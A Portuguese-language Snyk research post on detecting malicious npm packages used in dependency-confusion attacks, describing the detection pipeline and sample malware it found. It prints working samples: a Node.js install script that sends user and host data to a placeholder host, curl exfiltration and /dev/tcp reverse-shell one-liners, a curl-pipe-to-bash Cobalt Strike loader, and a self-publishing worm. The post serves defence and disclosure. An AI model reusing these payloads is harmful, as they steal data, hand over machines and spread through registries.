Snyk encontra mais de 200 pacotes npm maliciosos, incluindo ataques de confusão de dependência Cobalt Strike
24 de maio de 2022
0 minutos de leituraRecentemente, a Snyk encontrou mais de 200 pacotes maliciosos no registro de npm. Mesmo sabendo que a fadiga de vulnerabilidades é um problema para os desenvolvedores, este artigo não trata do caso típico de typosquatting ou de pacotes maliciosos aleatórios. Vamos relevar as descobertas de ataques direcionados a empresas e corporações que a Snyk conseguiu detectar e compartilhar os insights relacionados.
Neste post, em vez de explicar o que é confusão de dependência e por que isso tem um impacto importante no ecossistema de JavaScript (e no registro de npm, especificamente), vamos nos focar no tipo de abordagem que a Snyk usa e quais pacotes maliciosos conseguimos descobrir recentemente. Se você precisar de uma introdução à confusão de dependência e aos riscos que esse tipo de ataque representa, recomendamos ler Confusão de dependência: como eu invadi a Apple, Microsoft e dezenas de empresas (em inglês), de Alex Birsan, e a divulgação da Snyk de uma simulação flagrada de ataque de dependência.
Além disso, queremos falar sobre como os pesquisadores de recompensas por bugs e “red teamers” contribuem para um ecossistema npm poluído, criando falsos relatórios de segurança e tornando a situação ainda mais problemática do que era antes do surgimento dos vetores de ataques de confusão de dependência.
Recentemente, muitas empresas começaram a priorizar a segurança da cadeira de suprimentos, e grande parte desse esforço se refere à detecção de pacotes maliciosos. E não temos dúvidas de que o npm recebeu a maior parte da atenção. Internamente, tivemos muitas discussões sobre npm: será que podemos superar os outros fornecedores que publicam regularmente sobre pacotes maliciosos de baixo impacto? Decidimos tentar implementar uma abordagem simples para ver quantos pacotes maliciosos poderíamos detectar desse jeito. Em seguida, passamos por um longo processo de aperfeiçoamento dessa abordagem simples e, depois que o centésimo pacote malicioso foi adicionado ao Banco de Dados de Vulnerabilidades da Snyk, sabíamos que era preciso escrever um artigo a respeito. Mas antes, vamos ver como alguém encontra pacotes maliciosos em um registro como o npm.
Como encontrar pacotes maliciosos no registro npm
Em primeiro lugar, precisávamos definir o escopo e os objetivos da pesquisa de segurança:
Só nos focamos na lógica maliciosa no ato da instalação. Por consequência, priorizamos apenas o que acontece durante
npm install
. Scripts maliciosos baseados em runtime estão fora do escopo e serão abordados em um estudo de caso futuro.A quantidade de sinais de falsos positivos deve ser gerenciável. Definimos isso de forma que um analista em segurança possa organizar todos os leads em até uma hora de trabalho.
O coletor deve ser modular. Ele já havia evoluído várias vezes e continua a fazê-lo. Algumas técnicas de detecção foram adicionadas e algumas foram excluídas devido ao item 2.
Como abordagem inicial, decidimos usar análises puramente estatísticas. Vamos abordar a parte dinâmica em outra publicação.
É importante definir o que é considerado comportamento malicioso. Por exemplo, abrir um shell reverso ou modificar arquivos fora da pasta do projeto é uma atividade maliciosa.
Mas também acreditamos que pacotes que extraem informações pessoalmente identificáveis (ou qualquer dado que contenha PII) podem ser considerados maliciosos. Por exemplo:
Um pacote que envia o GUID da máquina não é malicioso – o GUID não contém nenhum dado pessoal do usuário e geralmente é usado para contar o número de instalações únicas de um pacote.
Um pacote que envia o caminho da pasta do aplicativo é malicioso – os caminhos das pastas do aplicativo mostra o nome do usuário atual (que pode conter o nome e o sobrenome reais).
A estrutura do sistema associado consiste em:
Lógica de extração (scraping) para recuperar informações sobre pacotes recém-alterados e adicionados.
Lógica de marcação (tagging) para fornecer metadados razoáveis aos analistas em segurança.
Lógica de ordenamento (sorting) para priorizar leads de pacotes maliciosos de acordo com a etapa anterior.
O resultado do sistema do coletor são arquivos YAML (atua como pontos de dados para leads), que são gerenciados por um analista em segurança e sinalizados como três opções possíveis:
Bom – pacotes sem suspeitas. São usados como exemplos de comportamento não malicioso.
Ruim – pacotes maliciosos.
Ignorado – pacotes que provavelmente não são maliciosos, mas o comportamento de tempo de instalação é muito comum ou muito complexo para usá-lo como padrão em casos futuros.
Reconhecimento do registro npm para recolher informações do pacote
De acordo com o primeiro requisito estabelecido, precisamos gerenciar todos os pacotes novos e atualizados se eles tiverem scripts de tempo de instalação preinstall
, install
ou postinstall
.
O registro de npm usa CouchDB e o expõe de modo conveniente pelo replicate.npmjs.com
para uso público. Dessa forma, o processo de recolhimento dos dados é tão simples quanto consultar o endpoint \_changes em ordem ascendente. Em especial,
1https://replicate.npmjs.com/_changes?limit=100&descending=false&since=<here is last event ID from the previous run>
permite obter uma lista de pacotes criados e atualizados a partir do ID de evento recebido da execução anterior do coletor.
Além disso, usamos os endpoints https://registry.npmjs.org/
para recuperar metadados de cada pacote da lista e https://api.npmjs.org/downloads
para obter o número de downloads de um pacote.
Uma parte da lógica de recolhimento é mais complicada: queremos extrair scripts de tempo de instalação do tarball de um pacote. Um tarball de pacote npm costuma ter menos de um megabyte, mas pode chegar à casa das centenas. Felizmente, os arquivos tar são estruturados de forma que nos permite implementar uma abordagem de streaming. Assim, só baixamos um arquivo do pacote até termos o arquivo desejado e depois interrompemos a conexão, poupando tempo e tráfego da rede. Para isso, usamos o pacote npm tar-stream. Esta é uma boa oportunidade para agradecer Mathias Buus, que tem feito grandes contribuições para o desenvolvimento de JavaScript e Node.js, além de manter muitos pacotes npm de código aberto que ajudam os desenvolvedores diariamente.
Marcação de pacotes maliciosos no registro npm
A esta altura, temos todos os metadados sobre o pacote: histórico de versões, nome do administrador, conteúdo dos scripts de tempo de instalação, dependências e mais. Agora podemos começar a aplicar as regras. Vou mostrar algumas das regras que, na minha experiência, são mais eficazes:
bigVersion
– se a versão principal de um pacote for igual ou maior que 90. No dependency confusion attack, um pacote malicioso a ser baixado deve ter uma versão superior à original. Como veremos daqui a pouco, os pacotes maliciosos costumam ter versões como 99.99.99.yearNoUpdates
– o pacote é atualizado pela primeira vez ao longo do ano. Isso exerce um papel crucial para determinar se um pacote não vinha sendo mantido nos últimos tempos e acabou sendo comprometido por um violador.noGHTagLastVersion
– nova versão de um pacote sem tag em um repositório correspondente do GitHub (ainda que a versão anterior tivesse). Isso funciona nos casos em que o usuário do npm foi comprometido, mas não o usuário do GitHub.isSuspiciousFile
– temos um conjunto de expressões regulares para detectar scripts de tempo de instalação possivelmente maliciosos. Elas trabalham para detectar técnicas de ocultamento, uso de domínios comocanarytokens.com
oungrok.io
, indicação de endereço IP e outros.isSuspiciousScript
– um conjunto de expressões regulares para detectar scripts possivelmente maliciosos em um arquivo .json do pacote. Por exemplo, descobrimos que“postinstall: “node .”
é frequentemente usado em pacotes maliciosos.
O sistema associado implementou mais tags, mas as regras acima servem como uma boa lista para você ter uma noção de como é a lógica do coletor.
Organizar os dados de pacotes npm
Gostaríamos de aplicar outras automações ao processo, em vez de revisões manuais de analistas em segurança. Se um script de tempo de instalação já foi classificado como bom ou ruim no passado, classificamos automaticamente os novos casos como bons ou ruins da mesma forma. Isso funciona principalmente para casos de comportamento não malicioso, como “postinstall”: “webpack”
ou “postinstall”: “echo thanks for using please donate”
e ajuda a reduzir os níveis de ruído.
Além disso, priorizamos determinadas tags para que sejam gerenciadas antes de outras porque oferecem uma melhor taxa de sinais verdadeiros positivos. Para fins de informação, isSuspiciousFile
e isSuspiciousScript
têm a prioridade mais alta.
Análise manual de segurança
A última etapa do processo de detecção é a análise manual. Ela também ocorre em vários estágios:
Verificar automaticamente leads selecionados e de alta prioridade. Estes são provavelmente maliciosos. Analise individualmente os leads não organizados para detectar novas regras em casos de pacotes maliciosos e não maliciosos.
Atualize a lógica do coletor de acordo com o item 2.
Adicione cada pacote malicioso ao Banco de Dados de Vulnerabilidades da Snyk.
Em alguns casos, como gxm-reference-web-auth-server, se um pacote parecer ter uma lógica maliciosa incomum, um analista levará mais tempo para inspecioná-lo em detalhes e compartilhar seus insights com a comunidade e os usuários da Snyk.
Esse fluxo nos permite aprimorar o coletor diariamente e automatizar o processo.
Quais pacotes maliciosos no npm conseguimos detectar?
Até hoje, o sistema já produziu resultados para mais de 200 pacotes npm que foram identificados como detecção de verdadeiro positivo e servem como uma ameaça viável de ataque de confusão de dependência. Queremos ampliar a categorização dessas descobertas e demonstrar vários comportamentos e conceitos que vêm sendo adotados pelos invasores.
Pacotes maliciosos que realizam extração de dados
Um dos tipos mais comuns de pacotes maliciosos é a extração de dados em solicitações HTTP ou DNS. Essa costuma ser uma versão copiada e modificada do script original usado na pesquisa em confusão de dependência. Às vezes, eles apresentam comentários do tipo “este pacote é usado para fins de pesquisa” ou “nenhum dado confidencial é obtido”, mas não se deixe enganar: eles capturam PII e as enviam pela rede, o que nunca deve acontecer.
Exemplo típico desse pacote de acordo com a descoberta da Snyk:
1const os = require("os");
2const dns = require("dns");
3const querystring = require("querystring");
4const https = require("https");
5const packageJSON = require("./package.json");
6const package = packageJSON.name;
7
8const trackingData = JSON.stringify({
9 p: package,
10 c: __dirname,
11 hd: os.homedir(),
12 hn: os.hostname(),
13 un: os.userInfo().username,
14 dns: dns.getServers(),
15 r: packageJSON ? packageJSON.___resolved : undefined,
16 v: packageJSON.version,
17 pjson: packageJSON,
18});
19
20var postData = querystring.stringify({
21 msg: trackingData,
22});
23
24var options = {
25 hostname: "<malicious host>",
26 port: 443,
27 path: "/",
28 method: "POST",
29 headers: {
30 "Content-Type": "application/x-www-form-urlencoded",
31 "Content-Length": postData.length,
32 },
33};
34
35var req = https.request(options, (res) => {
36 res.on("data", (d) => {
37 process.stdout.write(d);
38 });
39});
40
41req.on("error", (e) => {
42 // console.error(e);
43});
44
45req.write(postData);
46req.end();
Já vimos tentativas de extração das seguintes informações (ordenadas da relativamente menos danosa à mais perigosa):
Nome do usuário atual
Caminho do diretório do usuário
Caminho do diretório do aplicativo
Lista de arquivos em várias pastas, como o diretório do usuário ou de funcionamento do aplicativo
Resultado do comando de sistema
ifconfig
Arquivo
package.json
do aplicativoVariáveis do ambiente
O arquivo
.npmrc
Uma adição interessante a esse grupo de pacotes maliciosos é dos que têm o script install
como npm install http://
<malicious host>
/tastytreats-1.0.0.tgz?yy=npm get cache
. Ele claramente extrai o caminho do diretório de cache do npm (que geralmente está na pasta do usuário atual), mas além disso instala um pacote a partir de uma fonte externa. Na nossa experiência, esse pacote obtido externamente sempre funciona como um pacote falso sem lógica ou arquivos, mas pode ter condições regionais ou de outra natureza no lado do servidor, ou ainda se tornar um minerador de cripto ou cavalo de troia depois de um certo tempo.
Em alguns casos, vimos indícios de scripts bash como:
1DETAILS="$(echo -e $(curl -s ipinfo.io/)\\n$(hostname)\\n$(whoami)\\n$(hostname -i) | base64 -w 0)"
2curl "https://<malicious host>/?q=$DETAILS"
O exemplo acima extrai informações de endereço IP público, nome do host e nome do usuário.
Pacotes maliciosos que geram um shell reverso
Outro tipo comum de pacotes maliciosos tenta gerar um shell reverso, o que significa que a máquina atingida se conecta a um servidor remoto controlado pelo invasor e permite que ele a controle remotamente. Esses ataques podem ser bastante simples:
1/bin/bash -l > /dev/tcp/<malicious IP>/443 0<&1 2>&1;
Também podem ser implementações mais complexas que usam net.Socket
ou outros métodos de conexão.
O maior desafio dessa categoria é que, embora a lógica pareça simples, o comportamento malicioso fica completamente oculto no lado do servidor do hacker. Dito isso, podemos ver o impacto: o hacker pode assumir o controle do computador onde o pacote malicioso foi instalado.
Decidimos executar um dos pacotes como esse em uma área restrita, e os comandos que registramos foram estes:
nohup curl -A O -o- -L http://
<malicious IP>
/dx-log-analyser-Linux | bash -s &> /tmp/log.out&
– baixar e executar script do servidor malicioso.O script baixado do servidor malicioso se adicionou ao diretório
/tmp
e começou a consultar a si mesmo a cada 10 segundos, aguardando atualizações do violador remoto.Após um determinado período, ele baixou um arquivo binário que, de acordo com o VirusTotal, é um cavalo de troia Cobalt Strike.
Uso de cavalos de troia em pacotes npm maliciosos
Nesta categoria, temos vários pacotes que instalam e executam diferentes agentes de comando e controle. Este artigo não vai entrar em detalhes sobre esses pacotes, mas recomendamos a leitura de nosso artigo recente sobre engenharia reversa do pacote gxm-reference-web-auth-server. Apesar de explicar as descobertas de como hackers éticos realizaram a pesquisa ética de red team, o artigo serve como um bom exemplo do que existe nos pacotes dessa categoria de ataques maliciosos de confusão de dependência. Além disso, é um ótimo exemplo de como pegar um red team em ação.
Em outro caso interessante, verificamos chamadas do sistema da área restrita, e uma chamou nossa atenção: ela gerava um processo separado e executava uma chamada de espera por 30 minutos. Somente após esse período, ela iniciava sua atividade maliciosa.
Pegadinhas e protestos em pacotes npm
Em março, escrevemos uma publicação sobre pacotes de npm com protestware. Mas, além de protestware, observamos várias tentativas de abrir vídeos do YouTube ou impróprios e outros sites em navegadores, e até mesmo adicioná-lo como comando no arquivo .bashrc
.
O código pode ser simples como open [https://www.youtube.com/watch?v=](https://www.youtube.com/watch?v=)
<xxx>
no script postinstall
ou shell.exec(echo '\\nopen https://
<NSFW website>
' >> ~/.bashrc)
em um arquivo JavaScript de tempo de instalação.
Outro exemplo possivelmente danoso de um pacote malicioso que identificamos durante esta investigação é um pacote que detecta se você tem um arquivo .npmrc
e, se tiver, executa npm publish
criando uma cópia própria em nome do usuário do npm. Como é possível ver, ele age como um worm e, em alguns casos, pode ser tornar uma ameaça real.
1const fs = require('fs')
2const faker = require('faker')
3const child_process = require('child_process')
4const pkgName = faker.helpers.slugify(faker.animal.dog() + ' ' +
5faker.company.bsNoun()).toLowerCase()
6let hasNpmRc = false
7const read = (p) => {
8 return fs.readFileSync(p).toString()
9}
10try {
11 const npmrcFile = read(process.env.HOME + '/.npmrc')
12 hasNpmRc = true
13} catch(err) {
14}
15if (hasNpmRc) {
16 console.log('Publishing new version of myself')
17 console.log('My new name', pkgName)
18 const pkgPath = __dirname + '/package.json'
19 const pkgJSON = JSON.parse(read(pkgPath))
20 pkgJSON.name = pkgName
21 fs.writeFileSync(pkgPath, JSON.stringify(pkgJSON, null, 2))
22 child_process.exec('npm publish')
23 console.log('DONE')
24}
Conclusões e recomendações
Na Snyk, trabalhamos diariamente para tornar os ecossistemas de softwares de código aberto mais seguros. Hoje, compartilhamos algumas variações de pacotes npm maliciosos. No entanto, essa lista com certeza não é definitiva. Nossa pesquisa mostrou que o ecossistema do npm é usado ativamente para realizar vários ataques de cadeia de suprimentos. Recomendamos o uso de ferramentas como a Snyk para proteger desenvolvedores e administradores, bem como aplicativos e projetos.
Se você é um caçador de bugs ou participante de um red team e precisa publicar um pacote npm para realizar atividades de reconhecimento, recomendamos que siga os termos de serviço e diretrizes legais do npm. Nesse caso, não extraia PII e defina explicitamente o propósito do pacote em comentários no código-fonte ou na descrição do pacote. Observamos alguns pacotes legítimos de pesquisa que estavam enviando identificadores únicos de máquina como node-machine-id.
Primeiros passos com Capture the Flag
Saiba como resolver desafios de Capture the Flag assistindo ao nosso workshop virtual de conceitos básicos sob demanda.
Resumo dos pacotes afetados até o momento desta publicação
Vamos publicar a lista de pacotes que conseguimos detectar. Alguns, possivelmente a maioria, já foram excluídos do registro do npm, mas outros ainda existem na data de publicação desta pesquisa.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|